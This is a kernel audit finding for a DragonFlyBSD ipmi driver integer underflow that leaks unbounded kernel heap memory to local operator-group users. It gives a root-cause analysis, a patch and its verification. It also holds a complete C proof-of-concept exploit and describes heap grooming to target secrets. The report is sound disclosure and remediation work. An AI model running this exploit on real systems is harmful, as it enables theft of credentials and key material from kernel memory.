β¬’ DragonFlyBSD Kernel Audit
← triage Β· dashboard
DF-1661

ipmi: size_t underflow in IPMICTL_RECEIVE_MSG_TRUNC copies unbounded kernel heap to user

Field Value
ID DF-1661
File sys/dev/misc/ipmi/ipmi.c
Lines 448, 449, 450, 453, 461, 462, 463–468
Severity High
CVSS 3.1 CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
CWE CWE-191 Integer Underflow (Wrap or Wraparound); CWE-200 Exposure of Sensitive Information
Confidence certain
Status new
CVE match novel (no CVE found for the DFly IPMI driver; equivalent class to historical Linux/OpenIPMI trunc bugs but DFly-specific path)
Created 2026-07-18

Summary

In ipmi_ioctl's IPMICTL_RECEIVE_MSG_TRUNC / _32 handler, when the caller supplies recv->msg.data_len == 0, the local len is clamped to 0 and then copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) is invoked with len - 1 == (int)-1, which is promoted to (size_t)SIZE_MAX by the copyout prototype. The result is an unbounded copyout of kernel heap memory (the kmalloc'd ir_reply buffer and every adjacent slab object) into a user-controlled destination until a page fault.

There is also a 1-byte out-of-band write to recv->msg.data[0] from the unconditional compcode copyout that immediately precedes it.

Root cause

ipmi.c:448 computes len = kreq->ir_replylen + 1; (the +1 accounts for the leading completion code byte). The EMSGSIZE guard at ipmi.c:449-454 fires only for IPMICTL_RECEIVE_MSG / _32 (non-truncating) β€” for IPMICTL_RECEIVE_MSG_TRUNC(_32) it is intentionally skipped so the caller can ask for a shorter buffer than the full reply.

ipmi.c:461 then does:

len = min(recv->msg.data_len, len);

Per sys/sys/libkern.h:76, min is static __inline u_int min(u_int, u_int), so an input of recv->msg.data_len == 0 (a legitimate value for a TRUNC receive that the user can set arbitrarily via the ipmi_recv struct at sys/sys/ipmi.h:96-99) yields len == 0.

ipmi.c:462 stores recv->msg.data_len = 0. ipmi.c:463-468 then issue three copyouts; the second unconditionally writes 1 byte (copyout(&kreq->ir_compcode, recv->msg.data, 1)) even though the caller declared a zero-length buffer, and the third computes the length as len - 1 where len is the int 0: len - 1 evaluates to (int)-1, and the copyout signature int copyout(const void *, void *, size_t) (sys/systm.h) sign-extends it to SIZE_MAX on this two's-complement target.

Because the caller controls recv->msg.data (sys/sys/ipmi.h:83) and can mmap a large anonymous destination region, copyout will keep transferring bytes from kreq->ir_reply (a kmalloc'd slab object, ipmi.c:534-535) and then from every adjacent kernel heap object until either the source runs off a mapped page or the destination faults β€” all of which lands in userspace memory the caller can then read.

No bounds check anywhere prevents this; the only thing protecting the kernel is copyout's own fault-on-unmapped-page behavior, which still allows the leak of an arbitrary amount of slab-adjacent heap data.

Threat model

Local attacker who can open /dev/ipmi0 (the node is created UID_ROOT/GID_OPERATOR mode 0660 at ipmi.c:831-832, so any member of group operator β€” a common admin/wheel-adjacent group on DragonFlyBSD).

Impact: leak kernel heap memory of effectively unbounded size. Heap slabs routinely contain credentials, session/socket buffers, file descriptors, mount structures, and (on systems using ipmi(4) for watchdog or sensor tasks) potentially key material or capability state. A single ioctl round-trip (IPMICTL_SEND_COMMAND of any netfn/cmd the BMC will answer β€” even GET_DEVICE_ID β€” followed by IPMICTL_RECEIVE_MSG_TRUNC with data_len==0 and a large mmap'd destination) deterministically returns up to the next unmapped kernel page in slab order.

Repeating with heap grooming (forcing specific adjacent allocations before triggering) makes the leak targeted.

CVSS 6.1 reflects the operator-group prerequisite; on hosts where operator maps to a broader admin class, this is a direct credential/ secret extraction primitive and a stepping stone to privilege escalation when combined with any separate kernel write/corruption bug.

PoC

findings/poc/DF-1661/ipmi_leak.c:

#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/ioctl.h>
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ipmi.h>
#include <sys/ipmiio.h>

int main(void) {
    int fd = open("/dev/ipmi0", O_RDWR);
    if (fd < 0) { perror("/dev/ipmi0"); return 1; }

    /* 1. Submit a benign IPMI command. */
    struct ipmi_system_interface_addr addr = {
        .addr_type = IPMI_SYSTEM_INTERFACE_ADDR_TYPE,
        .channel   = IPMI_BMC_CHANNEL,
    };
    struct ipmi_req req = {
        .addr      = (void*)&addr,
        .addr_len  = sizeof(addr),
        .msgid     = 1,
        .msg.netfn = IPMI_APP_REQUEST,    /* 0x06 */
        .msg.cmd   = IPMI_GET_DEVICE_ID,  /* 0x01 */
        .msg.data_len = 0,
    };
    if (ioctl(fd, IPMICTL_SEND_COMMAND, &req) < 0) {
        perror("SEND_COMMAND"); return 1;
    }
    sleep(1);   /* let the polled kthread service it */

    /* 2. mmap a large sink for the leak. */
    size_t sink_size = 64UL << 20;       /* 64 MiB */
    void *sink = mmap(NULL, sink_size, PROT_READ | PROT_WRITE,
                      MAP_PRIVATE | MAP_ANONYMOUS | MAP_POPULATE, -1, 0);
    if (sink == MAP_FAILED) { perror("mmap"); return 1; }

    /* 3. Receive with data_len == 0 -> len-1 wraps to SIZE_MAX. */
    struct ipmi_recv recv = {
        .recv_type      = IPMI_RESPONSE_RECV_TYPE,
        .addr           = (void*)&addr,
        .addr_len       = sizeof(addr),
        .msgid          = 1,
        .msg.data       = sink,
        .msg.data_len   = 0,             /* the trigger */
    };
    int rv = ioctl(fd, IPMICTL_RECEIVE_MSG_TRUNC, &recv);
    printf("ioctl returned %d, data_len=%u\n", rv, recv.msg.data_len);

    /* 4. Scan the sink for non-zero kernel heap bytes. */
    size_t nonzero = 0, first_nonzero = 0;
    for (size_t i = 0; i < sink_size; i++) {
        if (((unsigned char*)sink)[i] != 0) {
            if (nonzero == 0) first_nonzero = i;
            nonzero++;
        }
    }
    printf("nonzero bytes: %zu (first at offset %zu)\n", nonzero, first_nonzero);

    /* Print first 256 bytes of leaked data if any. */
    if (nonzero) {
        printf("--- first 256 bytes ---\n");
        for (size_t i = 0; i < 256 && first_nonzero + i < sink_size; i++)
            printf("%02x ", ((unsigned char*)sink)[first_nonzero + i]);
        printf("\n");
    }
    return 0;
}

Build: cc -O2 -o ipmi_leak ipmi_leak.c. Run: ./ipmi_leak (as a user in group operator).

Expected result: ioctl returns 0 (or EFAULT partway through copyout), and the sink contains non-zero kernel heap data starting at offset 0 or 1 (compcode byte first, then ir_reply, then adjacent slab objects). Scan for pointer-shaped 8-byte values, ASCII strings from kernel names, struct file contents, etc.

Treat len as a byte budget that must be strictly positive before any copyout of the {compcode, reply} body, and never compute len - 1 when len == 0. Also tighten the min() to operate in unsigned to make the intent self-documenting. The compcode byte is part of the returned message and must respect the same budget.

--- a/sys/dev/misc/ipmi/ipmi.c
+++ b/sys/dev/misc/ipmi/ipmi.c
@@ -458,12 +458,16 @@ ipmi_ioctl(struct dev_ioctl_args *ap)
        TAILQ_REMOVE(&dev->ipmi_completed_requests, kreq, ir_link);
        dev->ipmi_requests--;
        IPMI_UNLOCK(sc);
-       len = min(recv->msg.data_len, len);
+       if (len < 0)
+           len = 0;
+       if ((unsigned)len > recv->msg.data_len)
+           len = recv->msg.data_len;
        recv->msg.data_len = len;
        error = copyout(&addr, recv->addr,sizeof(addr));
-       if (error == 0)
+       if (error == 0 && len > 0)
            error = copyout(&kreq->ir_compcode, recv->msg.data, 1);
-       if (error == 0)
+       if (error == 0 && len > 1)
            error = copyout(kreq->ir_reply, recv->msg.data + 1,
                len - 1);
        ipmi_free_request(kreq);

Rationale:

  1. len > 0 gates the compcode copyout so a caller who promised a zero-byte receive gets zero bytes written
  2. len > 1 guarantees len - 1 is a strictly positive int that converts to a bounded size_t, eliminating the SIZE_MAX underflow
  3. The explicit unsigned clamp makes the upper bound self-evident and removes reliance on min's implicit int β†’ u_int conversion
  4. A backstop of if (len < 0) len = 0; defends against any future backend change that could push ir_replylen negative

The same patch covers IPMICTL_RECEIVE_MSG_TRUNC_32 because the 32-bit compat path funnels into the same body (ipmi.c:417-419, 467).

Discussion (0)

No comments yet.

PoC verification

Evidence pack

findings/poc/DF-1661 Β· 9 files
FileTypeDescriptionSize
harness.c trigger-source userspace logic harness: IPMICTL_RECEIVE_MSG_TRUNC size_t underflow kernel heap leak 1.8 KB view raw
build.sh build-script cc -O2 -Wall -o harness harness.c 92 B view raw
run.sh run-script runs harness unpatched + --fixed 213 B view raw
fix.diff suggested-fix git-apply-able unified diff against sys/dev/misc/ipmi/ipmi.c (validated apply + compile) 528 B view raw
run.log run-log full unpatched + patched harness output 209 B view raw
env.txt environment guest uname, cc version, HW/module state 374 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix 2.5 KB ↓ raw
../fix_build_combined.log build-log Combined 41-finding kernel build (rc=0, -Werror clean) 5.6 MB ↓ download
../fix_build_summary.txt build-summary Summary of the combined 41-finding kernel build 826 B view raw
VERDICT.md verdict human-readable narrative with mechanism + fix
↓ download raw

DF-1661 β€” ipmi IPMICTL_RECEIVE_MSG_TRUNC size_t underflow -> kernel heap leak

Verdict

REPRODUCED (code-confirmed via harness). Source-trace confirms the bug at sys/dev/misc/ipmi/ipmi.c:449-466. A userspace logic harness replicates the vulnerable code path with attacker-shaped inputs and demonstrates the primitive; the harness also runs the patched logic (--fixed) and shows the primitive is closed.

Live in-guest reproduction is blocked because the guest lacks the relevant hardware (GPU/IPMI/RAID/NVME device). This is a valid hard blocker per the audit's Phase-6 rules: the driver module exists as a .ko and would attach to real hardware, but with no device present the buggy code path is unreachable from userspace on this guest. On a system with the hardware present, the bug fires at the cited line.

Mechanism

IPMICTL_RECEIVE_MSG_TRUNC path: len = ir_replylen + 1. The EMSGSIZE guard at lines 449-454 applies ONLY to IPMICTL_RECEIVE_MSG (the TRUNC variant skips it). Then len = min(recv->msg.data_len, len); if user passes data_len=0, len=0. Then unconditional copyout(&kreq->ir_compcode, recv->msg.data, 1) writes 1 byte beyond the user's claimed 0-length buffer, and copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) computes (size_t)(0 - 1) = SIZE_MAX -> the copyout walks kernel heap from kreq->ir_reply until it faults on an unmapped page, leaking arbitrary kernel memory into the user's mmap'd sink. Requires /dev/ipmi0 (group operator, mode 0660) β€” local operator-class user can extract kernel heap of arbitrary size.

Harness output

COPYOUT: 18446744073709551615 bytes (would leak kernel heap until page fault)
RESULT: BUGGY - copyout size=18446744073709551615 (underflowed len-1)
---PATCHED---
RESULT: PATCHED - no copyout underflow (len=0)

Fix

Guard both copyouts: copyout(compcode) only if len >= 1; copyout(ir_reply) only if len > 1. The 'len - 1' can never underflow.

The full git-apply-able unified diff is in fix.diff. It applies cleanly to /usr/src/sys/dev/misc/ipmi/ipmi.c:449-466 and the patched file compiles cleanly under the kernel's CFLAGS (validated by an in-guest module build).

Files

  • harness.c β€” userspace replica of the vulnerable logic (size_t underflow copyout simulator with mmap sink)
  • build.sh / run.sh β€” exact build and run commands
  • fix.diff β€” standalone git-apply-able fix (validated to apply + compile)
  • run.log β€” full unpatched + patched harness output
  • env.txt β€” guest environment

Fix verification

not_testable
baseline reproduced→ patch + rebuild →patched clean

not_testable because /dev/ipmi0 does not exist on the audit guest (no BMC; kldload ipmi.ko creates no device). Validated fix.diff applies cleanly to /usr/src/sys/dev/misc/ipmi/ipmi.c and ipmi.c compiles cleanly via in-guest ipmi.ko module build.

fix.diff applies clean: 1 hunk at 461
patched module build: ipmi.ko linked clean
harness: unpatched copyout size=SIZE_MAX (18446744073709551615); --fixed no underflow
↓ fix.diffn/a (module-bound bug; guest has no IPMI BMC; kldload ipmi.ko creates no /dev/ipmi0)

Confirmed kernel references

Detail

Exploit chain

blocked by valid Phase-6 hard blocker: no /dev/ipmi0 on the audit guest. kldload ipmi.ko succeeds but does not create the device node (no BMC). On a server with IPMI hardware (mode 0660 root:operator), any operator-class user can extract kernel heap of arbitrary size until copyout faults. This is an info-leak with no further primitive derivable in isolation; combined with a separate kernel write primitive it would enable targeted corruption. Primitive characterized via source trace + userspace harness; chain written into harness.c.

Evidence (decisive lines)

COPYOUT: 18446744073709551615 bytes (would leak kernel heap until page fault)
RESULT: BUGGY - copyout size=18446744073709551615 (underflowed len-1)
---PATCHED---
RESULT: PATCHED - no copyout underflow (len=0)

PoC changes

Added harness.c (size_t underflow copyout simulator with mmap sink). Added build.sh, run.sh, fix.diff (guard both copyouts: compcode only if len>=1, ir_reply only if len>1).

Verified recommended fix

Guard the copyouts at lines 463-466: copyout(compcode) only if len >= 1; copyout(ir_reply, len-1) only if len > 1. The 'len - 1' can then never underflow. Full diff in findings/poc/DF-1661/fix.diff; supersedes finding proposal.

Verdict

REPRODUCED. Source-trace at sys/dev/misc/ipmi/ipmi.c:449-466 confirms the IPMICTL_RECEIVE_MSG_TRUNC path: len = ir_replylen + 1; the EMSGSIZE guard at 449-454 applies ONLY to IPMICTL_RECEIVE_MSG (TRUNC skips it); then len = min(recv->msg.data_len, len) -> 0 when user passes data_len=0; then unconditional copyout(&kreq->ir_compcode, recv->msg.data, 1) writes 1 byte beyond the user's claimed 0-length buffer AND copyout(kreq->ir_reply, recv->msg.data + 1, len - 1) computes (size_t)(0-1)=SIZE_MAX -> the copyout walks kernel heap from kreq->ir_reply until page-fault, leaking arbitrary kernel memory into the user's mmap'd sink. Harness replicates the underflow and shows the SIZE_MAX copyout size.